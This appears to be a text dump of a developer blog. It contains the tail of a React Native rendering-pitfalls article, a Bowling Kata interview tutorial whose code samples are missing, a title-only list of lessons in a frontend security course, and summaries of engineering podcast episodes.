This worked great in normal React and did not break at all in the web view of the project, worse yet it also worked on emulators for Android and iOS.
But in Production whenever a user entered a View with this kind of logic the app crashed with this error:
```
Error: Text strings must be rendered within a component.
```
This makes sense, if your users array was bigger than 0, React Native wanted to render the number and because it wasn't in a component it would break the app.
I recommend being careful when using the logical operator && to shortcut rendering, especially when dealing with non-string values.
For now, the React Native community is growing, there are a lot of good packages out there to help you on your journey.
But it has not yet reached Javascript levels of fame, which you can tell by the number of resources available to you.
I sincerely hope this article helps aspiring React Native developers with their struggles or convinces engineers from the React ecosystem to try it out and build a couple of mobile apps.
---
## The Bowling Kata
URL: https://neciudan.dev/the-bowling-kata
Published: 2021-06-22

A kata is an exercise in martial arts, where you practice the same thing over and over again making small improvements each time. The same concept can be applied to programming, it helps programmers hone their skills and be better at their job.
Being a tested concept with a lot of online resources, job applications started using this coding challenge for their on-site Live Coding Interview.
In this article I’m going to explore a coding Kata, the Bowling Score, and how to solve it in the context of an interview.
You will be given a series of inputs and expected output for each input, and the expected result is to code everything in between (classes, methods, unit tests) to get the desired result.
We will go through the thinking process, the steps to take when presented a problem and some tips and tricks to help you when you are stuck in the journey to solve this challenge.
## The Bowling Score Kata
In a game of bowling you get ten rounds to knock back 10 pins with a bowling ball. In each round, called a frame, you have two tries. If you knock them over on the first try, it’s called a strike, if you do it in two it’s called a spare. At the end of the 10 frames the player with the most points wins.
Points are calculated based on a frame result:
- If it’s not a strike or a spare the sum of the throws is calculated.
- For a spare, you get the next throw added as a bonus.
- For a strike, you get the next two throws added as a bonus.
- If you have a spare or a strike in the last frame you get another throw as a bonus.

In an interview typically you get an explanation like the one above and a series of input / output values, as examples, that you can use to verify your solution. Like this:

From the description and examples we can gather a couple of insights:
- We receive an array of numbers as input and expect a number, the total score, as output.
- A strike is always followed by the number 0.
- The length of the rolls array is 20 and in the case of a strike / spare on the last frame, it’s 21.
- A frame is composed of two throws and the game is composed of ten frames.
With this in mind we can start coding our solution, and the first step of that is to write some unit tests.
### Starting with Unit tests
Starting with unit tests first is a must-have for any interview process. You don’t have to practice [TDD](https://www.browserstack.com/guide/what-is-test-driven-development) regularly at work, or follow the [Red, Green, Refactor framework](https://www.codecademy.com/articles/tdd-red-green-refactor) rigorously, but writing the tests first helps you think in small increments about a problem.
All of a sudden you don’t have to solve a big complex problem, you have to solve multiple small problems and you can take them one at a time.
And by writing unit tests you can showcase your thinking process outside of your coding skills. Interviewers are very interested to see a candidate think about error boundaries in a problem and handle it accordantly.
From the requirements we can gather a couple of invalid inputs:
- When the input rolls length is lower than 20
- When the input rolls length is bigger than 21
- When we have negative numbers among the input rolls
- When two rolls in a frame have a sum bigger than 10 (there are only 10 pins you can hit)
- When following a strike you have another number other than 0
Just by thinking about error boundaries, it also helped us with our design, because to test against them we have to code in a specific, granular way.
For example, to test that two rolls in a frame have a sum bigger than 10, we now deduce that we need a function that handles the logic for a specific frame.
Pointing these invalid inputs out to the interviewer will score you massive points, but please keep in mind that you are on limited time. So you can code one or two but have the bigger picture in mind. Nothing is worse that having the interviewer stop you to let you know you have 5 more minutes left.
### Getting started
Assuming our starting function is something like this:

Let’s write our first test to protect ourselves against invalid inputs:

Quick tips regarding testing:
- Follow the AAA (ARRANGE, ACT, ASSERT) pattern when writing test
- Only have one Assert per unit test
- When testing and coding and debugging you can use helper functions to focus only one test or block of tests

Coming back to our first test case, we need to code a solution for when we have too few rolls as our input.

Running the tests with the focus on our first test will return our first green. Good job!

Similarly we can now do the same for the others, take care of doing it one by one and running the test each time, in case of an error in our code so you don’t waste time debugging.

Here normally, if you are not stressed on time, I would remove the if statement in a different function that handles the Invalid Input rolls statement, but it’s more important to finish the assignment first and refactor later.
### Thinking in Bowling Frames
Going forward, the next two invalid inputs are harder to test right off the bat, as we don’t have them split into frames. So let’s create a new function that handles the logic of a single frame, and move our invalid tests to this function.

Let’s create our calculateFrame function. Normally a frame should return either the sum of two rolls, a Strike symbol if the frame was a strike, or a spare symbol if the frame was a Spare. Firstly though, let’s take care of our invalid inputs.

It’s now time to test the happy path, and our first order of business is to finish the frame function.
We need the frame to return the sum of the rolls or the corresponding symbol for a spare / strike. The ‘/’ symbol for spare and a ‘X’ for a strike.

Expanding on our invalid verification code we just had to return the sum. Pretty simple once you start with the errors, now all we have to do is handle a strike and a spare.
For the spare if the sum is 10, return the symbol for spare ‘/ and for a Strike, if the first roll is a 10 then we return the ‘X’ symbol.

### All games have a score card
We now have our tests that verify our implementation, so we can refactor as much as we want, and more importantly we have our first block in our solution.
The next step now is to build on top of this function to get to the final correct result.
Next we want a scorecard, given any number of frames, let’s see the result like in a normal Bowling Game. We see the frame number, and either the sum of that frame, a strike symbol or a spare symbol.


Again we can test multiple scenarios, when we have no strikes or spares, when we have a spare, when we have a strike, and when we have multiple strikes / spares.

We already have our frame function that returns the correct result, we just have to loop the frames, apply the frame function and store the result in a string.

A simple and elegant function, that only does one thing.
### Adding up your score
We have our score card, and now it’s time to calculate the score from it.

Let’s give this function the three already tested scorecards and assert the correct response.

First step, would be to iterate though the string, parse each value as an integer and calculate the sum. After that we need to calculate the tricky stuff, when we have a spare and a strike.
For a spare, we need to add the next throw as a bonus, so to do that, the scorecard is not enough, we also need to have access to the frames array.

One more step to go, for the strike we need to add the next two throws as bonus, and here is where it gets tricky, we can do the same as above and add the next two values in the future frame, but what if the next frame is also a strike? Then we will add 0 by mistake, we need to verify if it is a strike and plan accordantly.
Just like before, we need to check for a strike and add the next throw throws inside the forEach:

This will solve our initial test case, but if we have two strikes in a row, it will add 0 instead of 10 to the second strike, so we have to verify we don’t add a faulty 0 and be very careful in case the 0 is from a strike or a normal miss.

To make this test past, we have to check for a future strike in our calculation

There are multiple things happening in the above code, a smell that we can extract it in a different function, but essentially it’s trying to add the next two rolls to the score. But to do that it first checks if we have two rolls ahead of this strike, and if we do, it checks for a future strike.
### Putting the pieces together
Now we have the entire logic flashed out, all that is left is putting it all together inside our bowlingScore function.

listToMatrix is a simple utility function that generates a two dimensional matrix (our frames) from an array. Here it is:


And thats it! Congratulations, you just finished your first kata. Going forward you can refactor it, and try to optimise it as much as you want.
## Conclusion
You can also find the [finished code here](https://github.com/Cst2989/katas/tree/master/src).
TLDR: If you skipped the article, here are the key elements that I hope will remain with you during your interviewing journey:
- Write tests first, verify your output with unit tests and not with the console
- When writing unit tests, follow the AAA pattern, use only one ASSERT per test and take advantage of the “only()” helper function to focus on a single test.
- Always think about error boundaries and input validation
- Start by coding a small simple function and increment on the solution from there.
- Naming matters! Please take the time to name your functions and variables with clear and concise names.
- With proper unit tests in place, it’s easy and safe to refactor your code.
- Leave refactoring for the end, when you already finished the assignment
- Keep an eye on the clock, you do not want to be reminded that you have 5 minutes left by the interviewer.
Thank you for your time! I hope this article helps you land your dream job in the wonderful world of Software Engineering.
---
# Master Security Course
Free, self-paced course on frontend security across React, Vue, Angular, and Vanilla JS. All 7 modules are live. Lesson content is free but requires sign-in to read.
## Exploits & Supply Chain
- Understanding package.json and Dependency Versioning: https://neciudan.dev/course/master-security/1-exploits/lesson-1
- Anatomy of npm Exploits — Real-World Attacks: https://neciudan.dev/course/master-security/1-exploits/lesson-2
- Defending Your Project — npm Security Best Practices: https://neciudan.dev/course/master-security/1-exploits/lesson-3
- Security Tooling — Scanners, Auditors, and Automated Defense: https://neciudan.dev/course/master-security/1-exploits/lesson-4
- Build Your Own npm Vulnerability Scanner: https://neciudan.dev/course/master-security/1-exploits/lesson-5
- Containerized Development and Testing with Docker: https://neciudan.dev/course/master-security/1-exploits/lesson-6
- Incident Response and Putting It All Together: https://neciudan.dev/course/master-security/1-exploits/lesson-7
---
## Cross-Site Scripting
- What is Cross-Site Scripting?: https://neciudan.dev/course/master-security/2-xss/lesson-1
- Stored, Reflected, and DOM-Based XSS: https://neciudan.dev/course/master-security/2-xss/lesson-2
- XSS in React, Vue, Angular, and Vanilla JS: https://neciudan.dev/course/master-security/2-xss/lesson-3
- XSS Meets OAuth: From Script Injection to Account Takeover: https://neciudan.dev/course/master-security/2-xss/lesson-4
- When AI Writes Your XSS: Prompt Injection, Slopsquatting, and LLM-Rendered Payloads: https://neciudan.dev/course/master-security/2-xss/lesson-5
- CSP, Trusted Types, and the Sanitizer API: https://neciudan.dev/course/master-security/2-xss/lesson-6
- Auditing Your App for XSS: A Practical Checklist: https://neciudan.dev/course/master-security/2-xss/lesson-7
---
## AI Security & Insecure Software
- The New Attack Surface: Security in the Age of AI: https://neciudan.dev/course/master-security/3-ai/lesson-1
- Prompt Injection: Direct, Indirect, and Jailbreaks: https://neciudan.dev/course/master-security/3-ai/lesson-2
- When AI Writes Insecure Code: https://neciudan.dev/course/master-security/3-ai/lesson-3
- Agentic AI, Tool Use, and MCP Security: https://neciudan.dev/course/master-security/3-ai/lesson-4
- Data Leakage, RAG Poisoning, and Sensitive Information Disclosure: https://neciudan.dev/course/master-security/3-ai/lesson-5
- Building Secure AI-Powered Features: A Defense Playbook: https://neciudan.dev/course/master-security/3-ai/lesson-6
---
## CSRF & Spoofing Attacks
- What is CSRF? The Confused Deputy Problem: https://neciudan.dev/course/master-security/4-csrf-spoofing/lesson-1
- CSRF in Depth: GET, POST, JSON, and Login CSRF: https://neciudan.dev/course/master-security/4-csrf-spoofing/lesson-2
- Defending Against CSRF: SameSite, Tokens, and Origin Checks: https://neciudan.dev/course/master-security/4-csrf-spoofing/lesson-3
- Clickjacking & UI Redressing: https://neciudan.dev/course/master-security/4-csrf-spoofing/lesson-4
- Spoofing Attacks: Identity, Domain, and Content: https://neciudan.dev/course/master-security/4-csrf-spoofing/lesson-5
- Putting It Together: A Request-Integrity & Anti-Spoofing Checklist: https://neciudan.dev/course/master-security/4-csrf-spoofing/lesson-6
---
## Personal Security & Scam Prevention
- The Developer Threat Model: Why You're a Target: https://neciudan.dev/course/master-security/5-personal-security/lesson-1
- Phishing & Social Engineering in the AI Era: https://neciudan.dev/course/master-security/5-personal-security/lesson-2
- Account Security: Passwords, MFA, and Passkeys: https://neciudan.dev/course/master-security/5-personal-security/lesson-3
- Securing Your Devices & Developer Environment: https://neciudan.dev/course/master-security/5-personal-security/lesson-4
- Protecting Your Identity, Data & Money from AI-Powered Scams: https://neciudan.dev/course/master-security/5-personal-security/lesson-5
- Your Personal Security Playbook & Incident Response: https://neciudan.dev/course/master-security/5-personal-security/lesson-6
---
## Broken Access Control
- What is Broken Access Control? OWASP's #1 Risk: https://neciudan.dev/course/master-security/6-access-control/lesson-1
- IDOR and Broken Object Level Authorization (BOLA): https://neciudan.dev/course/master-security/6-access-control/lesson-2
- Privilege Escalation and Missing Function-Level Authorization: https://neciudan.dev/course/master-security/6-access-control/lesson-3
- Frontend-Specific Access Control Pitfalls: https://neciudan.dev/course/master-security/6-access-control/lesson-4
- CORS, Mass Assignment, and Metadata Manipulation: https://neciudan.dev/course/master-security/6-access-control/lesson-5
- Designing and Testing Access Control: https://neciudan.dev/course/master-security/6-access-control/lesson-6
---
## Security Misconfiguration
- What is Security Misconfiguration?: https://neciudan.dev/course/master-security/7-misconfiguration/lesson-1
- Security Headers Done Right: https://neciudan.dev/course/master-security/7-misconfiguration/lesson-2
- Exposed Secrets, Source Maps & Verbose Errors: https://neciudan.dev/course/master-security/7-misconfiguration/lesson-3
- Cloud & Storage Misconfiguration: https://neciudan.dev/course/master-security/7-misconfiguration/lesson-4
- Default Credentials, Unnecessary Features & Dependency Config: https://neciudan.dev/course/master-security/7-misconfiguration/lesson-5
- Hardening & Automating Configuration Security: https://neciudan.dev/course/master-security/7-misconfiguration/lesson-6
---
# Podcast Takeaways — Señors @ Scale
## Episode 1: Performance at Scale - With Danilo Velasquez
URL: https://neciudan.dev/takeaways/performance-at-scale-with-danilo-velasquez
Guest: Danilo Velasquez (Staff Engineer at Adevinta)
Published: 2025-07-18
In this kickoff episode of Señors @ Scale, host Neciu Dan sits down with Danilo Velasquez — Staff Engineer at Adevinta and longtime frontend performance obsessive.
---
## Episode 10: Vue at Scale – With Andreas Panopoulos
URL: https://neciudan.dev/takeaways/vue-at-scale-with-andreas-panopoulos
Guest: Andreas Panopoulos (Staff Software Engineer at Hack the Box, Co-Organizer of Vue.js Athens)
Published: 2025-09-26
In this episode of Señors @ Scale, host Neciu Dan sits down with Andreas Panopoulos — Staff Software Engineer at Hack the Box and co-organizer of Vue.js Athens — to talk about scaling Vue in production, migrating to Nuxt 3, and the human side of engineering.
---
## Episode 11: Rails at Scale – With Adrian Marin
URL: https://neciudan.dev/takeaways/rails-at-scale-with-adrian-marin
Guest: Adrian Marin (Founder of AVO and Host of FriendlyRB)
Published: 2025-10-04
In this episode of Señors @ Scale, host Neciu Dan chats with Adrian Marin — founder of AVO and host of FriendlyRB — about Rails productivity, the magic of Ruby, and how the community continues to evolve through creativity and connection.
---
## Episode 12: Accessibility at Scale – With Kateryna Porchienova
URL: https://neciudan.dev/takeaways/accessibility-at-scale-with-kateryna-porchienova
Guest: Kateryna Porchienova (Senior Engineering Manager at Buffer)
Published: 2025-10-05
In this episode of Señors @ Scale, host Neciu Dan chats with Kateryna Porchienova — Senior Engineering Manager at Buffer — about her programming journey, the craft of animation, and why accessibility should be treated as a foundation of good engineering, not an afterthought.
---
## Episode 13: Observability at Scale – With Erik Grijzen
URL: https://neciudan.dev/takeaways/observability-at-scale-with-erik-grijzen
Guest: Erik Grijzen (Principal Software Engineer at New Relic)
Published: 2025-10-13
In this episode of Señors @ Scale, host Neciu Dan chats with Erik Grijzen — Principal Software Engineer at New Relic — about building one of the first large-scale micro-frontend architectures, the rise of observability, and what technical leadership looks like across dozens of teams.
---
## Episode 14: WebFragments at Scale – With Natalia Venditto & Igor Minar
URL: https://neciudan.dev/takeaways/webfragments-at-scale-with-natalia-venditto-igor-minar
Guest: Natalia Venditto & Igor Minar (Principal PM for JavaScript DX at Microsoft • Senior Director of Engineering at Cloudflare, co-creator of Angular)
Published: 2025-10-23
Señors @ Scale host Neciu Dan talks with Microsoft’s Natalia Venditto and Cloudflare’s Igor Minar about WebFragments — a new micro-frontend model that isolates JavaScript and DOM at the browser boundary, enables instant SSR through fragment piercing, and lets large teams ship independently without dependency lockstep.
---
## Episode 15: Reliability at Scale – With Bruno Paulino (N26)
URL: https://neciudan.dev/takeaways/reliability-at-scale-with-bruno-paulino-n26
Guest: Bruno Paulino (Tech Lead at N26)
Published: 2025-10-25
Señors @ Scale host Neciu Dan sits down with Bruno Paulino, Tech Lead at N26, to explore what reliability really means in FinTech. From server-driven UIs and CI/CD pipelines to AI-assisted customer support and strict compliance, Bruno shares how N26 balances speed, safety, and developer experience to keep millions of users online.
---
## Episode 16: Design Systems at Scale – With Stefano Magni (Preply)
URL: https://neciudan.dev/takeaways/design-systems-at-scale-with-stefano-magni-preply
Guest: Stefano Magni (Senior Front-End Engineer & Tech Lead at Preply)
Published: 2025-11-02
Señors @ Scale host Neciu Dan sits down with Stefano Magni, Senior Front-End Engineer and Tech Lead at Preply, to unpack what it takes to build and measure a design system for a global learning platform. From managing technical debt and accessibility to driving a culture of public work and data-driven engineering, Stefano shares lessons from 15+ years in frontend development.
---
## Episode 17: Micro-Frontends at Scale (Part 2) – With Luca Mezzalira (AWS)
URL: https://neciudan.dev/takeaways/micro-frontends-at-scale-part-2-with-luca-mezzalira-aws
Guest: Luca Mezzalira (Principal Serverless Specialist at AWS & Author of Building Micro-Frontends (O’Reilly))
Published: 2025-11-09
Señors @ Scale host Neciu Dan sits down with Luca Mezzalira, Principal Serverless Specialist at AWS and author of *Building Micro-Frontends*, to unpack how he helped scale DAZN’s frontend from 2 developers to 500 engineers across 40 devices. Luca shares the origin of micro-frontends, how to build stable application shells, implement zero global state, use guardrails for bundle budgets, and manage migrations at scale through edge routing and team autonomy.
---
## Episode 18: Security at Scale – With Liran Tal (Snyk)
URL: https://neciudan.dev/takeaways/security-at-scale-with-liran-tal-snyk
Guest: Liran Tal (Director of Developer Advocacy at Snyk, GitHub Star, Open Source Security Champion)
Published: 2025-11-20
Señors @ Scale host Neciu Dan sits down with Liran Tal, Director of Developer Advocacy at Snyk and GitHub Star, to unpack NPM malware, maintainer compromise, MCP attacks, toxic flows, and why AI-generated code is statistically insecure without the right guardrails. Liran shares real incidents from the Node and open source ecosystem, how Snyk and tools like NPQ help developers build safer workflows, and why security at scale starts with developers, not firewalls.
---
## Episode 19: Modern CSS at Scale with Bramus
URL: https://neciudan.dev/takeaways/modern-css-at-scale-with-bramus
Guest: Bramus Van Damme (Chrome Developer Relations Engineer at Google, CSS and Web UI Specialist)
Published: 2025-12-01
Seniors @ Scale host Neciu Dan is joined by Bramus Van Damme, Chrome Developer Relations Engineer at Google. As a leading voice in CSS and Web UI, Bramus dives into the future of the web, breaking down the mechanics, performance, and cross-browser status of transformative new features like View Transitions, Scroll-Driven Animations, Anchor Positioning, and Custom CSS Functions. He offers a rare look into the inner workings of Chrome DevRel, the standardization process through the CSS Working Group, and how the multi-browser 'Interop' effort is accelerating web development.
---
## Episode 2: Interviewing at Scale – With Angel Paredes
URL: https://neciudan.dev/takeaways/interviewing-at-scale-with-angel-paredes
Guest: Angel Paredes (Engineering Manager at Datadog)
Published: 2025-07-26
In this episode of Señors @ Scale, host Neciu Dan sits down with Angel Paredes — Engineering Manager at Datadog, formerly Staff at Glovo and Tech Lead at PayPal — to explore test infra, AI's impact on interviewing, and how to lead without losing your technical edge.
---
## Episode 20: Domain Driven Design at Scale with Vlad Khononov (O'Reilly and Pearson Author)
URL: https://neciudan.dev/takeaways/domain-driven-design-at-scale-with-vlad-khononov-oreilly-and-pearson-author
Guest: Vlad Khononov (Software Architect, Keynote Speaker, Author of Learning Domain-Driven Design and Balancing Coupling in Software Design)
Published: 2025-12-13
Señors @ Scale host Neciu Dan sits down with Vlad Khononov, software architect, keynote speaker, and author of Learning Domain-Driven Design and Balancing Coupling in Software Design. Vlad has spent over two decades helping teams untangle legacy systems, rebuild failing architectures, and bring clarity to messy business domains. This conversation cuts through the hype around DDD and microservices, focusing on the mechanics of bounded contexts, coupling, business alignment, and architectural evolution.
---
## Episode 21: State Management at Scale with Daishi Kato (Author of Zustand)
URL: https://neciudan.dev/takeaways/state-management-at-scale-with-daishi-kato-author-of-zustand
Guest: Daishi Kato (Author and Maintainer of Zustand, Jotai, Valtio, and Waku)
Published: 2025-12-20
Señors @ Scale host Neciu Dan sits down with Daishi Kato, the author and maintainer of Zustand, Jotai, and Valtio — three of the most widely used state management libraries in modern React. Daishi has been building modern open source tools for nearly a decade, balancing simplicity with scalability. We dive deep into the philosophy behind each library, how they differ from Redux and MobX, the evolution of the atom concept, and Daishi's latest project: Waku, a framework built around React Server Components.
---
## Episode 22: Nuxt at Scale with Daniel Roe
URL: https://neciudan.dev/takeaways/nuxt-at-scale-with-daniel-roe
Guest: Daniel Roe (Leader of the Nuxt Core Team at Vercel)
Published: 2026-01-18
Señors @ Scale host Neciu Dan sits down with Daniel Roe, leader of the Nuxt Core team at Vercel, for an in-depth conversation about building and scaling with Nuxt, Vue's most powerful meta-framework. Daniel shares his journey from the Laravel world into Vue and Nuxt, revealing how he went from being a user to becoming the lead maintainer of one of the most important frameworks in the JavaScript ecosystem.
---
## Episode 23: MicroFrontends at Scale with Florian Rappl
URL: https://neciudan.dev/takeaways/microfrontends-at-scale-with-florian-rappl
Guest: Florian Rappl (Author of 'The Art of Micro Frontends', Microsoft MVP, Creator of Piral)
Published: 2026-01-25
Señors @ Scale host Neciu Dan sits down with Florian Rappl — author of 'The Art of Micro Frontends,' creator of the Piral framework, and Microsoft MVP — to explore how micro frontends are transforming how we build scalable web applications. Florian shares hard-won lessons from over a decade of building distributed systems, from smart home platforms to enterprise portals for some of Germany's largest companies.
---
## Episode 24: Leveling Up as a Tech Lead with Anamari Fisher
URL: https://neciudan.dev/takeaways/leveling-up-as-a-tech-lead-with-anamari-fisher
Guest: Anamari Fisher (Engineering Leader, Coach, O'Reilly Author of 'Leveling Up as a Tech Lead', EMCC Accredited Coach)
Published: 2026-02-20
Señors @ Scale host Neciu Dan sits down with Anamari Fisher — engineering leader, coach, and O'Reilly author of 'Leveling Up as a Tech Lead' — to explore the first jump into leadership. Anamari shares how she went from software engineer to tech lead and product director, why accountability is the key differentiator from senior engineer, and how to scale your impact through soft skills that actually work in real teams.
---
## Episode 25: Scaling Teams and Leading Through Change with Lucian Popovici
URL: https://neciudan.dev/takeaways/scaling-teams-and-leading-through-change-with-lucian-popovici
Guest: Lucian Popovici (Founder of Bridging Innovation & Bridging Gaps, Former Director at Deloitte Digital Romania (0→700), Deutsche Bank, Ericsson)
Published: 2026-03-05
Señors @ Scale host Neciu Dan sits down with Lucian Popovici — founder of Bridging Innovation and the free mentorship community Bridging Gaps, former Director at Deloitte Digital Romania where he scaled the team from 0 to 700, and veteran of Deutsche Bank and Ericsson — to talk about what actually happens when engineers become leaders, why the manager title is a trap for the ego-driven, and how AI is reshaping not just team sizes but entire industry models.
---
## Episode 26: From Code to Community with Daniel Afonso
URL: https://neciudan.dev/takeaways/from-code-to-community-with-daniel-afonso
Guest: Daniel Afonso (Senior Developer Advocate at PagerDuty, SolidJS DX Team Member, egghead Instructor, JNation Conference Organizer)
Published: 2026-03-12
Señors @ Scale host Neciu Dan sits down with Daniel Afonso — Senior Developer Advocate at PagerDuty, SolidJS DX team member, egghead instructor, and organizer of the JNation conference in Coimbra — to explore how a kid who taught himself to navigate the web before he could read became one of the most active voices in the developer community. Daniel shares his origin story, how writing about every hard problem he faced at work became the skill that launched his career, and the one hidden tip every developer should use when joining a new codebase.
---
## Episode 27: React Server Components at Scale with Aurora Scharff
URL: https://neciudan.dev/takeaways/react-server-components-at-scale-with-aurora-scharff
Guest: Aurora Scharff (Senior Consultant at Creon Consulting, Microsoft MVP in Web Technologies, React Certifications Lead at certificates.dev)
Published: 2026-03-20
Señors @ Scale host Neciu Dan sits down with Aurora Scharff — Senior Consultant at Creon Consulting, Microsoft MVP in Web Technologies, and React Certifications Lead at certificates.dev — to explore the real mental model shift required to understand React Server Components. Aurora shares her path from Robotics to frontend, what it was like building a controller UI for Boston Dynamics' Spot robot dog in React, and why the ecosystem finally feels like it's stabilizing.
---
## Episode 28: PostCSS, AutoPrefixer & Open Source at Scale with Andrey Sitnik
URL: https://neciudan.dev/takeaways/postcss-autoprefixer-open-source-at-scale-with-andrey-sitnik
Guest: Andrey Sitnik (Creator of PostCSS, AutoPrefixer & Browserslist, Lead Engineer at Evil Martians)
Published: 2026-03-27
Señors @ Scale host Neciu Dan sits down with Andrey Sitnik — creator of PostCSS, AutoPrefixer, and Browserslist, and Lead Engineer at Evil Martians — to explore how one developer became responsible for 0.7% of all npm downloads. Andrey shares the discrimination story that drove AutoPrefixer, the open pledge that forced PostCSS 8 to ship, and why the Mythical Man-Month applies directly to LLM agent coordination.
---
## Episode 29: Open Source at Scale with Corbin Crutchley
URL: https://neciudan.dev/takeaways/open-source-at-scale-with-corbin-crutchley
Guest: Corbin Crutchley (Lead Maintainer of TanStack Form, VP of Engineering, Microsoft MVP, Author)
Published: 2026-03-28
Señors @ Scale host Neciu Dan sits down with Corbin Crutchley — lead maintainer of TanStack Form, Microsoft MVP, VP of Engineering, and author of a free book that teaches React, Angular, and Vue simultaneously — to dig into what it actually means to maintain a library that gets a million downloads a week. Corbin covers the origin of TanStack Form, why versioning is a social contract, what nearly made him quit open source, and the surprisingly non-technical path that got him into a VP role.
---
## Episode 3: Pragmatism at Scale – With Tudor Barbu
URL: https://neciudan.dev/takeaways/pragmatism-at-scale-with-tudor-barbu
Guest: Tudor Barbu (Principal Engineer at Logify)
Published: 2025-08-07
In this episode of Señors @ Scale, host Neciu Dan sits down with Tudor Barbu — Principal Engineer at Logify, former Tech Lead at Personio and engineer at Skyscanner and DaVinta — to unpack 20+ years of engineering decisions, debugging scars, and career evolution.
---
## Episode 30: Database Performance at Scale with Tyler Benfield
URL: https://neciudan.dev/takeaways/database-performance-at-scale-with-tyler-benfield
Guest: Tyler Benfield (Staff Software Engineer at Prisma, Builder of Prisma Postgres)
Published: 2026-04-01
Señors @ Scale host Neciu Dan sits down with Tyler Benfield, Staff Software Engineer at Prisma, to go deep on database performance. Tyler's path into databases started at Penske Racing, writing trackside software for NASCAR pit stops, and eventually led him into query optimization, connection pooling, and building Prisma Postgres from scratch. From the most common ORM anti-patterns to scaling Postgres on bare metal with memory snapshots, this is the database conversation most frontend developers never get.
---
## Episode 31: Service Mesh at Scale with William Morgan
URL: https://neciudan.dev/takeaways/service-mesh-at-scale-with-william-morgan
Guest: William Morgan (CEO of Buoyant, Creator of Linkerd, ex-Twitter Engineer)
Published: 2026-04-05
Señors @ Scale host Neciu Dan sits down with William Morgan, CEO of Buoyant and creator of Linkerd — the world's first service mesh and a graduated CNCF project. William's path runs from teaching himself BASIC on a begged-for DOS PC, through Twitter's painful migration off Ruby on Rails into JVM-based microservices, and into building the proxy that handles retries, mTLS, load balancing, and multi-cluster traffic for thousands of production Kubernetes clusters. From the Scala-to-Rust rewrite to why every sustainable cloud native open source project needs a commercial engine behind it, this is the infrastructure conversation most application developers never get to have.
---
## Episode 32: Module Federation at Scale with Zack Chapple & Nestor
URL: https://neciudan.dev/takeaways/module-federation-at-scale-with-zack-chapple-nestor
Guest: Zack Chapple & Nestor (CEO and Co-founder of Zephyr Cloud • Platform Engineer at Zephyr Cloud)
Published: 2026-04-12
Señors @ Scale host Neciu Dan sits down with Zack Chapple, CEO and co-founder of Zephyr Cloud, and Nestor, the platform engineer building it, to go deep on module federation, microfrontends, and what it actually takes to go from code to global scale in seconds. They unpack why module federation is Docker for the frontend, how Zephyr composes applications at the edge in 80 milliseconds, and why the real unlock for enterprise teams isn't deployment — it's composition.
---
## Episode 33: Frontend Foundations at Scale with Giorgio Polvara
URL: https://neciudan.dev/takeaways/frontend-foundations-at-scale-with-giorgio-polvara
Guest: Giorgio Polvara (Staff Engineer at Perk (formerly TravelPerk), Frontend Foundations Builder)
Published: 2026-04-19
Señors @ Scale host Neciu Dan sits down with Giorgio Polvara, Staff Engineer at Perk (formerly TravelPerk), who joined when the company was 15 people in two flats with a hole knocked through the wall and helped build the frontend foundations that still hold up at unicorn scale. Giorgio covers the multi-year migration from a monolithic frontend to vertical micro-frontends, why their first attempt with single-spa didn't work, how they pulled off a full rebrand behind feature flags without leaking, and the staff engineer mindset of treating every feature as a system improvement.
---
## Episode 34: Browser ML at Scale with Nico Martin
URL: https://neciudan.dev/takeaways/browser-ml-at-scale-with-nico-martin
Guest: Nico Martin (Open Source ML Engineer at Hugging Face, Google Developer Expert in AI and Web Technology, based in Switzerland)
Published: 2026-04-26
Señors @ Scale host Neciu Dan sits down with Nico Martin — open source ML engineer at Hugging Face working on Transformers.js, and Google Developer Expert in AI and web technology — to go deep on running machine learning models directly in the browser. Nico breaks down architectures vs. weights, quantization, tokenizers, ONNX, WebGPU, and why on-device AI is the right answer for a huge class of problems. He also shares the road from ski instructor and self-taught web developer to landing what he calls his dream job at Hugging Face.
---
## Episode 35: React Native at Scale with Kadi Kraman
URL: https://neciudan.dev/takeaways/react-native-at-scale-with-kadi-kraman
Guest: Kadi Kraman (Software Developer at Expo, ex-Formidable React Native Engineer)
Published: 2026-05-02
Señors @ Scale host Neciu Dan sits down with Kadi Kraman, software developer at Expo working on the tools that make React Native development as smooth as possible. Kadi's path started with C++ in a university maths degree, took her through Angular 1, scientific programming for pharmaceutical and defense companies, five and a half years at Formidable, and finally to Expo itself. From the limitations of early React Native to development builds, EAS workflows, fingerprint-based repacks, and the right way to think about over-the-air updates, this is the React Native conversation most web developers never get.
---
## Episode 36: Performance Engineering with Den Odell
URL: https://neciudan.dev/takeaways/performance-engineering-with-den-odell
Guest: Den Odell (Staff Software Engineer at Canva, ex-Volvo, author of Performance Engineering in Practice)
Señors @ Scale host Neciu Dan sits down with Den Odell, staff software engineer at Canva working on systems that serve over 250 million active users. Den's path started with electronic engineering in the late 90s, took him through marketing sites for IBM and Johnson & Johnson at AKQA, his own consultancy for clients like UNICEF and MINI, nine years on Volvo's e-commerce and car configurator, and finally to Canva's charts and visualizations team. He's also the author of Performance Engineering in Practice, out now through Manning's Early Access Program, which introduces the Fast by Default framework. From feature-flagged staged rollouts and test parties to operational transforms, the performance decay cycle, shrinking the critical path, and perceived performance, this is the conversation about making software fast — and keeping it fast — at scale.
---
## Episode 37: TanStack Query at Scale with Dominik Dorfmeister
URL: https://neciudan.dev/takeaways/tanstack-query-at-scale-with-dominik-dorfmeister
Guest: Dominik Dorfmeister (Maintainer of TanStack Query, Software Engineer at Sentry)
Señors @ Scale host Dan Neciu sits down with Dominik Dorfmeister — better known as TkDodo — the maintainer of TanStack Query and a software engineer at Sentry. Dominik's path started at a technical high school in Vienna, ran through JVM backend work in Java and Scala, and turned to frontend around the introduction of TypeScript. During the pandemic lockdowns in Austria he started answering questions in the TanStack Discord, got addicted to the instant gratification of helping people, and slowly turned that into a blog, a first code contribution six to eight months later, and eventually maintainership of TanStack Query. From tracked queries and the chaotic version-three-to-four rename, to the version-five mistake he still dreads, to ripping 28,000 lines of dead code out of Sentry with Knip and building Sentry's new design system, this is the open source maintenance conversation most developers never get to hear.
---
## Episode 38: Redux at Scale with Mark Erikson
URL: https://neciudan.dev/takeaways/redux-at-scale-with-mark-erikson
Guest: Mark Erikson (Maintainer of Redux, Senior Front-End Engineer at Replay.io)
